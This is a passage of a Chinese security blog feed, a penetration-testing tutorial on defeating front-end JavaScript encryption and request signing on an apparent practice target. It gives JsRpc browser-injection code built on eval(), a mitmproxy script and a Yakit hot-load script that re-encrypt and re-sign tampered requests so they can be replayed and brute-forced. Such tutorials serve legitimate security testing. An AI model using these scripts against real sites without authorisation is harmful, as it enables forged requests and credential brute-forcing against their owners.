<strong>网页–明文点JS文件处–右键–替换内容</strong></p><p><strong>（因为只有这样才能修改JS中的代码）</strong></p><p><img src="/posts/7297c4f4/20240523234156-fc485672-191a-1.png" alt="img"></p><p>b3: <strong>将JS-forward中生成的代码，复制到函数第一行，Ctrl+S保存</strong></p><p><img src="/posts/7297c4f4/20240523234216-080dde8c-191b-1.png" alt="img"></p><p><em>c. 打开burpsuite</em></p><p>关闭调试功能或关闭F12，刷新页面，再次发包时即可接收到明文信息</p><p><img src="/posts/7297c4f4/20240523234230-10d9530c-191b-1.png" alt="img"></p><p><em>d. 注意</em></p><ol><li>能够理解原理的话， 尽量自己思考思考。此功能与浏览器–burpsuite代理无关，浏览器的代理可不设置为burpsuite。</li><li>另外在实际测试过程中<strong>谷歌浏览器</strong>会报CORS错误，<strong>edge</strong>正常，具体原因不明，以后有机会再分析</li></ol><p><strong>本质就是 我又新建了一个代理服务器 相当于两个代理服务器负责不同的职能 一个是负责爬取明文点转发并转回 Burp负责处理改包罢了</strong></p><h3 id="主动发包的加密与解密"><a href="#主动发包的加密与解密" class="headerlink" title="主动发包的加密与解密"></a>主动发包的加密与解密</h3><p> 以上方法只适合修改浏览器的提交操作后的数据包修改</p><ul><li>优点：是简单易上手，就算是复杂的加密环境，只要找到明文点，后续工作不太复杂。</li><li>缺点：是无法应对主动发包的情况，比如要使用被动扫描工具，暴力破解，重放测试等需求的时候，无法自动化完成。</li></ul><p>所以我们介绍第二类的解决方案，为什么不直接介绍这个方式呢？主要还是因为主动发包的加密和解密更加复杂，需要读懂<strong>目标JS代码环境中防范改包</strong>的一些<strong>业务逻辑</strong>，如果目标的JS代码混淆和加密并不是特别厉害，还是可以一试的。</p><p> 在这之前再来了解一款工具</p><h4 id="JS-RPC"><a href="#JS-RPC" class="headerlink" title="JS-RPC"></a><em>JS-RPC</em></h4><p><strong><a href="https://github.com/jxhczhl/JsRpc">jxhczhl&#x2F;JsRpc: 远程调用(rpc)浏览器方法，免去抠代码补环境 (github.com)</a></strong></p><p> 所谓RPC，翻译过来是<strong>远程调用的意思，简单来说就是搭建一个桥梁让两个不同的应用系统之间一方能主动调用另外一方的api或函数。</strong></p><p> 我们知道浏览器中的加解密都是通过JS实现的，但如果想脱离浏览器在本地运行JS代码最大一个问题就是<strong>如何调用浏览器的api</strong>。举个例子: 比如我们想在python中执行JS中的解密函数，我们通常是两个方法：</p><p><strong>方法：</strong></p><ol><li>读懂JS加密函数的内容，在python中通过python代码使用同样的逻辑来实现。 也就是所谓的<strong>读懂逻辑本地搓</strong></li><li>通过execJs，selenium等框架执行指定的JS代码，理想状态是好的。<strong>但是</strong>，如果目标环境的加密很复杂，又伴随着一些复杂的对象操作，需要解析各种变量以及补环境来满足函数调用，<strong>意味着可能我们还没开始渗透就已经脱了几层皮了。</strong></li></ol><p> 所以我们可以使用这款工具提高渗透测试前期的效率。</p><p> JS-RPC这款工具的**工作原理就是在控制台中执行一段代码，通过websocket与本地的python服务端相连。这样一来如果python中想要执行代码，只需要通过RPC即可调用控制台中的函数了，**不需要再本地还原。</p><p><img src="/posts/7297c4f4/20240523234313-29f4d906-191b-1.png" alt="img"></p><h5 id="步骤"><a href="#步骤" class="headerlink" title="步骤"></a>步骤</h5><h5 id="1-先打开客户端，然后打开控制台，将JSrpc的注入代码输入"><a href="#1-先打开客户端，然后打开控制台，将JSrpc的注入代码输入" class="headerlink" title="1. 先打开客户端，然后打开控制台，将JSrpc的注入代码输入"></a>1. 先打开客户端，然后打开控制台，将JSrpc的注入代码输入</h5><p><img src="/posts/7297c4f4/20240523234330-349effbc-191b-1.png" alt="img"></p><p>先输入函数内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br></pre></td><td class="code"><pre><span class="line">function Hlclient(wsURL) &#123;</span><br><span class="line">    this.wsURL = wsURL;</span><br><span class="line">    this.handlers = &#123;</span><br><span class="line">        _execjs: function (resolve, param) &#123;</span><br><span class="line">            var res = eval(param)</span><br><span class="line">            if (!res) &#123;</span><br><span class="line">                resolve(&quot;没有返回值&quot;)</span><br><span class="line">            &#125; else &#123;</span><br><span class="line">                resolve(res)</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line">    this.socket = undefined;</span><br><span class="line">    if (!wsURL) &#123;</span><br><span class="line">        throw new Error(&#x27;wsURL can not be empty!!&#x27;)</span><br><span class="line">    &#125;</span><br><span class="line">    this.connect()</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Hlclient.prototype.connect = function () &#123;</span><br><span class="line">    console.log(&#x27;begin of connect to wsURL: &#x27; + this.wsURL);</span><br><span class="line">    var _this = this;</span><br><span class="line">    try &#123;</span><br><span class="line">        this.socket = new WebSocket(this.wsURL);</span><br><span class="line">        this.socket.onmessage = function (e) &#123;</span><br><span class="line">            _this.handlerRequest(e.data)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; catch (e) &#123;</span><br><span class="line">        console.log(&quot;connection failed,reconnect after 10s&quot;);</span><br><span class="line">        setTimeout(function () &#123;</span><br><span class="line">            _this.connect()</span><br><span class="line">        &#125;, 10000)</span><br><span class="line">    &#125;</span><br><span class="line">    this.socket.onclose = function () &#123;</span><br><span class="line">        console.log(&#x27;rpc已关闭&#x27;);</span><br><span class="line">        setTimeout(function () &#123;</span><br><span class="line">            _this.connect()</span><br><span class="line">        &#125;, 10000)</span><br><span class="line">    &#125;</span><br><span class="line">    this.socket.addEventListener(&#x27;open&#x27;, (event) =&gt; &#123;</span><br><span class="line">        console.log(&quot;rpc连接成功&quot;);</span><br><span class="line">    &#125;);</span><br><span class="line">    this.socket.addEventListener(&#x27;error&#x27;, (event) =&gt; &#123;</span><br><span class="line">        console.error(&#x27;rpc连接出错,请检查是否打开服务端:&#x27;, event.error);</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">&#125;;</span><br><span class="line">Hlclient.prototype.send = function (msg) &#123;</span><br><span class="line">    this.socket.send(msg)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Hlclient.prototype.regAction = function (func_name, func) &#123;</span><br><span class="line">    if (typeof func_name !== &#x27;string&#x27;) &#123;</span><br><span class="line">        throw new Error(&quot;an func_name must be string&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    if (typeof func !== &#x27;function&#x27;) &#123;</span><br><span class="line">        throw new Error(&quot;must be function&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    console.log(&quot;register func_name: &quot; + func_name);</span><br><span class="line">    this.handlers[func_name] = func;</span><br><span class="line">    return true</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//收到消息后这里处理，</span><br><span class="line">Hlclient.prototype.handlerRequest = function (requestJson) &#123;</span><br><span class="line">    var _this = this;</span><br><span class="line">    try &#123;</span><br><span class="line">        var result = JSON.parse(requestJson)</span><br><span class="line">    &#125; catch (error) &#123;</span><br><span class="line">        console.log(&quot;catch error&quot;, requestJson);</span><br><span class="line">        result = transjson(requestJson)</span><br><span class="line">    &#125;</span><br><span class="line">    //console.log(result)</span><br><span class="line">    if (!result[&#x27;action&#x27;]) &#123;</span><br><span class="line">        this.sendResult(&#x27;&#x27;, &#x27;need request param &#123;action&#125;&#x27;);</span><br><span class="line">        return</span><br><span class="line">    &#125;</span><br><span class="line">    var action = result[&quot;action&quot;]</span><br><span class="line">    var theHandler = this.handlers[action];</span><br><span class="line">    if (!theHandler) &#123;</span><br><span class="line">        this.sendResult(action, &#x27;action not found&#x27;);</span><br><span class="line">        return</span><br><span class="line">    &#125;</span><br><span class="line">    try &#123;</span><br><span class="line">        if (!result[&quot;param&quot;]) &#123;</span><br><span class="line">            theHandler(function (response) &#123;</span><br><span class="line">                _this.sendResult(action, response);</span><br><span class="line">            &#125;)</span><br><span class="line">            return</span><br><span class="line">        &#125;</span><br><span class="line">        var param = result[&quot;param&quot;]</span><br><span class="line">        try &#123;</span><br><span class="line">            param = JSON.parse(param)</span><br><span class="line">        &#125; catch (e) &#123;&#125;</span><br><span class="line">        theHandler(function (response) &#123;</span><br><span class="line">            _this.sendResult(action, response);</span><br><span class="line">        &#125;, param)</span><br><span class="line"></span><br><span class="line">    &#125; catch (e) &#123;</span><br><span class="line">        console.log(&quot;error: &quot; + e);</span><br><span class="line">        _this.sendResult(action, e);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Hlclient.prototype.sendResult = function (action, e) &#123;</span><br><span class="line">    if (typeof e === &#x27;object&#x27; &amp;&amp; e !== null) &#123;</span><br><span class="line">        try &#123;</span><br><span class="line">            e = JSON.stringify(e)</span><br><span class="line">        &#125; catch (v) &#123;</span><br><span class="line">            console.log(v)//不是json无需操作</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    this.send(action + atob(&quot;aGxeX14&quot;) + e);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">function transjson(formdata) &#123;</span><br><span class="line">    var regex = /&quot;action&quot;:(?&lt;actionName&gt;.*?),/g</span><br><span class="line">    var actionName = regex.exec(formdata).groups.actionName</span><br><span class="line">    stringfystring = formdata.match(/&#123;..data..:.*..\w+..:\s...*?..&#125;/g).pop()</span><br><span class="line">    stringfystring = stringfystring.replace(/\\&quot;/g, &#x27;&quot;&#x27;)</span><br><span class="line">    paramstring = JSON.parse(stringfystring)</span><br><span class="line">    tens = `&#123;&quot;action&quot;:` + actionName + `,&quot;param&quot;:&#123;&#125;&#125;`</span><br><span class="line">    tjson = JSON.parse(tens)</span><br><span class="line">    tjson.param = paramstring</span><br><span class="line">    return tjson</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后再输入</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">var demo = new Hlclient(&quot;ws://127.0.0.1:12080/ws?group=zzz&quot;);</span><br></pre></td></tr></table></figure><p><strong>其中变量名demo, 和group的值可以自己定</strong></p><h5 id="2-记录加密函数"><a href="#2-记录加密函数" class="headerlink" title="2. 记录加密函数"></a>2. 记录加密函数</h5><p>首先还是调试到加密那一步</p><p><img src="/posts/7297c4f4/20240523234406-4994dc34-191b-1.png" alt="img"></p><p>这里我们就知道了, 加密函数为<code>l()</code></p><p>在控制台中输入<code>window.enc = l</code>, 控制台会显示当前函数信息, 并保存非形参的参数, <strong>注册成功后我们可以主动调用<code>enc()</code>函数, 查看是否有效</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">window.enc() = l</span><br><span class="line"></span><br><span class="line">#测试</span><br><span class="line">enc(&quot;123&quot;)</span><br></pre></td></tr></table></figure><h5 id="3-向JsRPC中注册这些函数"><a href="#3-向JsRPC中注册这些函数" class="headerlink" title="3. 向JsRPC中注册这些函数"></a>3. 向JsRPC中注册这些函数</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#有参</span><br><span class="line">demo.regAction(&quot;enc&quot;, function (resolve, param) &#123;</span><br><span class="line">    var res = enc(String(param));</span><br><span class="line">    resolve(res);</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p><strong><img src="/posts/7297c4f4/20240523234450-64382154-191b-1.png" alt="img"></strong></p><h5 id="4-测试调用"><a href="#4-测试调用" class="headerlink" title="4. 测试调用"></a>4. 测试调用</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1:12080/go?group=zzz&amp;action=enc&amp;param=123</span><br></pre></td></tr></table></figure><p><img src="/posts/7297c4f4/20240523234506-6d59d890-191b-1.png" alt="img"></p><p>懂得原理后, 我们可以继续进行操作了</p><h4 id="JS-RPC-MITM"><a href="#JS-RPC-MITM" class="headerlink" title="JS-RPC + MITM"></a>JS-RPC + MITM</h4><p> 目前比较流行的一个解决方案, <strong>通过 mitm 将原始请求发送到JS-RPC中进行加密后修改原始数据包内容</strong>, 再进行发包</p><p><strong>mitmproxy</strong> 为一款代理工具, 你可以把他理解为<strong>python版的burpsuite</strong>, 可以进行拦截,改包等操作, 所以我们的思路是这样:</p><p><img src="/posts/7297c4f4/20240523234529-7b1d3a76-191b-1.png" alt="img"></p><p>接下来就到实际应用的阶段了：</p><p> 针对目前的靶场, 我们需要分析一下JS的代码。</p><p><img src="/posts/7297c4f4/20240523234545-84e6cfea-191b-1.png" alt="img"></p><p>几个关键的变量和函数：</p><ul><li>r： <strong>很明显就是时间戳。</strong></li><li>n： 原始的表单数据请求经过v() 函数处理后， 再进行JSON编码。</li><li>i： 使用p函数生成的requestId。</li><li>s： 使用<strong>MD5()函数生成的哈希值</strong>， 生成的方式为n+i+r的字符串拼接。</li><li>加密： <strong>对变量n使用l()函数进行加密。</strong></li></ul><p>针对实际请求包的修改：</p><p>我们需要在请求头中<strong>添加 timestamp，requestId, sign 等字段</strong>。</p><p>然后<strong>修改明文请求体进行加密。</strong></p><p>接下来就是实现：</p><h5 id="1-启动JS-rpc-并注入代码"><a href="#1-启动JS-rpc-并注入代码" class="headerlink" title="1. 启动JS-rpc, 并注入代码"></a>1. 启动JS-rpc, 并注入代码</h5><p><img src="/posts/7297c4f4/20240523234604-906e2610-191b-1.png" alt="img"></p><h5 id="2-打上断点并调试-记录函数-并注册"><a href="#2-打上断点并调试-记录函数-并注册" class="headerlink" title="2. 打上断点并调试, 记录函数, 并注册"></a>2. 打上断点并调试, 记录函数, 并注册</h5><p><strong>记录</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">//时间戳</span><br><span class="line">window.time = Date.parse</span><br><span class="line">//requestId</span><br><span class="line">window.id = p</span><br><span class="line">//v函数</span><br><span class="line">window.v1 = v</span><br><span class="line">//签名</span><br><span class="line">window.m = a.a.MD5</span><br><span class="line">//加密</span><br><span class="line">window.enc = l</span><br></pre></td></tr></table></figure><p><strong>注册</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">//md5函数</span><br><span class="line">demo.regAction(&quot;req&quot;, function (resolve,param) &#123;</span><br><span class="line">    //请求头</span><br><span class="line">    let timestamp = time(new Date());</span><br><span class="line">    let requestid = id();</span><br><span class="line">    let v_data = JSON.stringify(v1(param));</span><br><span class="line">    let sign = m(v_data + requestid + timestamp).toString();</span><br><span class="line">    //加密请求体</span><br><span class="line">    let encstr = enc(v_data);</span><br><span class="line"></span><br><span class="line">    let res = &#123;</span><br><span class="line">        &quot;timestamp&quot;:timestamp,</span><br><span class="line">        &quot;requestid&quot;:requestid,</span><br><span class="line">        &quot;encstr&quot;:encstr,</span><br><span class="line">        &quot;sign&quot;:sign</span><br><span class="line">    &#125;;</span><br><span class="line">    resolve(res);</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure><p>测试</p><p><img src="/posts/7297c4f4/20240523234629-9f17ec50-191b-1.png" alt="img"></p><p>这样我们就可以一次性获取所有请求的需求了</p><h5 id="3-构建MITM"><a href="#3-构建MITM" class="headerlink" title="3. 构建MITM"></a>3. 构建MITM</h5><p> 之前介绍过Mitmproxy , 就是python版的burpsuite, 所以我们只需要知道核心的代码逻辑: 即提取原始请求体后, 向请求头中<strong>添加requestId, timestamp, sign字段 并且 替换原始请求体为加密后的内容</strong>就OK了, 直接Chatgpt生成</p><p><strong>其实本质也就是本地搓+远程注册 然后应对加签也有对应的处理方案</strong></p><p> 代码:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">import json</span><br><span class="line">import time</span><br><span class="line">import hashlib</span><br><span class="line">import uuid</span><br><span class="line">from mitmproxy import http</span><br><span class="line">import requests</span><br><span class="line">import requests</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def request(flow: http.HTTPFlow) -&gt; None:</span><br><span class="line">    if flow.request.pretty_url.startswith(&quot;http://39.98.108.20:8085/api/&quot;):</span><br><span class="line">        # 提取原始请求体</span><br><span class="line">        original_body = flow.request.content.decode(&#x27;utf-8&#x27;)</span><br><span class="line">        data = &#123;&quot;group&quot;: &quot;zzz&quot;, &quot;action&quot;: &quot;req&quot;, &quot;param&quot;: original_body&#125;</span><br><span class="line">        res = requests.post(&quot;http://127.0.0.1:12080/go&quot;,data=data)</span><br><span class="line">        res_json = json.loads(res.text)[&quot;data&quot;]</span><br><span class="line">        data_json = json.loads(res_json)</span><br><span class="line">        print(data_json)</span><br><span class="line">        # 对请求体进行加密处理（这里假设加密方法是简单的哈希）</span><br><span class="line">        encrypted_body = data_json[&quot;encstr&quot;]</span><br><span class="line"></span><br><span class="line">        # 替换请求体</span><br><span class="line">        flow.request.text = encrypted_body</span><br><span class="line"></span><br><span class="line">        # 生成 requestId，sign 和 timestamp</span><br><span class="line">        request_id = data_json[&quot;requestid&quot;]</span><br><span class="line">        timestamp = data_json[&quot;timestamp&quot;]</span><br><span class="line">        sign = data_json[&quot;sign&quot;]</span><br><span class="line"></span><br><span class="line">        # 添加或替换请求头</span><br><span class="line">        flow.request.headers[&quot;requestId&quot;] = request_id</span><br><span class="line">        flow.request.headers[&quot;timestamp&quot;] = str(timestamp)</span><br><span class="line">        flow.request.headers[&quot;sign&quot;] = sign</span><br><span class="line"></span><br><span class="line"># 运行 mitmproxy 时加载这个脚本：mitmproxy -s your_script.py</span><br><span class="line">例:</span><br><span class="line">mitmproxy -p 8083 -s mitm.py</span><br></pre></td></tr></table></figure><p>将代码运行起来后, <strong>burpsuite 的upstream 设为 mitm的监听端口</strong></p><p><img src="/posts/7297c4f4/20240523234654-ae1f1c0a-191b-1.png" alt="img"></p><h5 id="4-测试"><a href="#4-测试" class="headerlink" title="4. 测试"></a>4. 测试</h5><p>在burpsuite中发送明文数据包, 在经过mitm处理后, 自动加密, 此时服务端再不会报错了</p><p><img src="/posts/7297c4f4/20240523234739-c90691c4-191b-1.png" alt="img"></p><h4 id="JS-RPC-YAKIT-热加载"><a href="#JS-RPC-YAKIT-热加载" class="headerlink" title="JS-RPC + YAKIT 热加载"></a>JS-RPC + YAKIT 热加载</h4><p> 在刚刚的例子里面, 我们虽然可以实现加解密, 但是毕竟数据包拐了山路十八弯, 难免优点麻烦。 有没有少拐点弯的方法呢？ 当然有啦， <strong>yakit</strong>作为国内优秀的渗透一体化工具，现在的在渗透中的使用率越来越高，相信随着国产化的普及，以后会更加流行。 还不会使用yakit的同学真的可以好好学习一下， 有的功能挺好用的。 在yakit中有一个模块叫做“<strong>web fuzzer</strong>“，有点像burpsuite中 repeater 和 intruder的结合体， 提供了数据包的重放和fuzz功能。</p><h5 id="热加载"><a href="#热加载" class="headerlink" title="热加载"></a>热加载</h5><p> 通过web fuzzer<strong>自带热加载功能</strong>， 通过官方对热加载的描述， 我们可以<strong>构建一段代码，在发送后自动加密</strong>， 这样就省去mitm的使用了。</p><p><img src="/posts/7297c4f4/20240523235959-821b9b68-191d-1.png" alt="img"></p><p><strong>热加载中自带了两个魔术方法， 分别对请求和响应自动做处理</strong></p><p><img src="/posts/7297c4f4/20240523234838-ec2cf724-191b-1.png" alt="img"></p><h5 id="1-原理"><a href="#1-原理" class="headerlink" title="1. 原理"></a>1. 原理</h5><p>通过研究， 可以详细解释解释：</p><p>请求包处理： 实现beforeRequest..方法即可， 其中行参”req“为一个字节数组， 保存了完整的请求内容字节。</p><p>那么我们通过yak官方的poc库（实际就是HTTP库），提供的方法，可以做如下操作：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">//获取请求体</span><br><span class="line">requestBody = poc.GetHTTPPacketBody(req)</span><br><span class="line">//修改请求包中指定的请求头</span><br><span class="line">req = poc.ReplaceHTTPPacketHeader(req, &quot;请求头名&quot;, &quot;请求头值&quot;)</span><br><span class="line">//修改请求体</span><br><span class="line">req = poc.ReplaceHTTPPacketBody(req, &quot;修改后的值&quot;)</span><br></pre></td></tr></table></figure><h5 id="2-实现"><a href="#2-实现" class="headerlink" title="2. 实现"></a>2. 实现</h5><p>首先我们需要准备好, 解密后的请求体, 可以直接把之前提到的变量n的值拿过来</p><p><img src="/posts/7297c4f4/20240523235838-51b9daca-191d-1.png" alt="img"></p><p>完整热加载内容（<strong>JsRPC沿用上面的内容</strong>）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">// 定义加密函数</span><br><span class="line">func getEnc(data)&#123;</span><br><span class="line">    rsp,rep,err = poc.Post(&quot;http://127.0.0.1:12080/go&quot;,poc.replaceBody(&quot;group=zzz&amp;action=req&amp;param=&quot;+data, false),poc.appendHeader(&quot;content-type&quot;, &quot;application/x-www-form-urlencoded&quot;))</span><br><span class="line">    if(err)&#123;</span><br><span class="line">        return(err)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    return json.loads(rsp.GetBody())[&quot;data&quot;]</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// beforeRequest 允许发送数据包前再做一次处理，定义为 func(origin []byte) []byte</span><br><span class="line">beforeRequest = func(req) &#123;</span><br><span class="line">    //获取请求体</span><br><span class="line">    req_body = poc.GetHTTPPacketBody(req)</span><br><span class="line">    //加密</span><br><span class="line">    res = getEnc(string(req_body))</span><br><span class="line">    //获取其他的参数</span><br><span class="line">    res = json.loads(res)</span><br><span class="line"></span><br><span class="line">    //修改其他的请求头</span><br><span class="line">    req = poc.ReplaceHTTPPacketHeader(req, &quot;requestId&quot;, res[&quot;requestid&quot;])</span><br><span class="line">    req = poc.ReplaceHTTPPacketHeader(req, &quot;timestamp&quot;, res[&quot;timestamp&quot;])</span><br><span class="line">    req = poc.ReplaceHTTPPacketHeader(req, &quot;sign&quot;, res[&quot;sign&quot;])</span><br><span class="line"></span><br><span class="line">    //修改请求体</span><br><span class="line">    req = poc.ReplaceHTTPPacketBody(req, res[&quot;encstr&quot;])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    return []byte(req)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// afterRequest 允许对每一个请求的响应做处理，定义为 func(origin []byte) []byte</span><br><span class="line">afterRequest = func(rsp) &#123;</span><br><span class="line">    return []byte(rsp)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// mirrorHTTPFlow 允许对每一个请求的响应做处理，定义为 func(req []byte, rsp []byte, params map[string]any) map[string]any</span><br><span class="line">// 返回值回作为下一个请求的参数，或者提取的数据，如果你需要解密响应内容，在这里操作是最合适的</span><br><span class="line">mirrorHTTPFlow = func(req, rsp, params) &#123;</span><br><span class="line">    return params</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后通过fuzz功能测试暴力破解，爆破成功</p><p><img src="/posts/7297c4f4/20240523234900-f939593a-191b-1.png" alt="img"></p>]]></content>
    
    
    <summary type="html">针对JS加解密痛点对抗笔记</summary>
    
    
    
    <category term="research" scheme="https://blog.sudo.online/categories/research/"/>
    
    
    <category term="JS" scheme="https://blog.sudo.online/tags/JS/"/>
    
    <category term="Re" scheme="https://blog.sudo.online/tags/Re/"/>
    
  </entry>
  
  <entry>
    <title>身份隐藏_无痕系列(2)</title>
    <link href="https://blog.sudo.online/posts/a27ef720/"/>
    <id>https://blog.sudo.online/posts/a27ef720/</id>
    <published>2025-08-23T06:38:43.000Z</published>
    <updated>2025-12-14T13:55:27.144Z</updated>
    
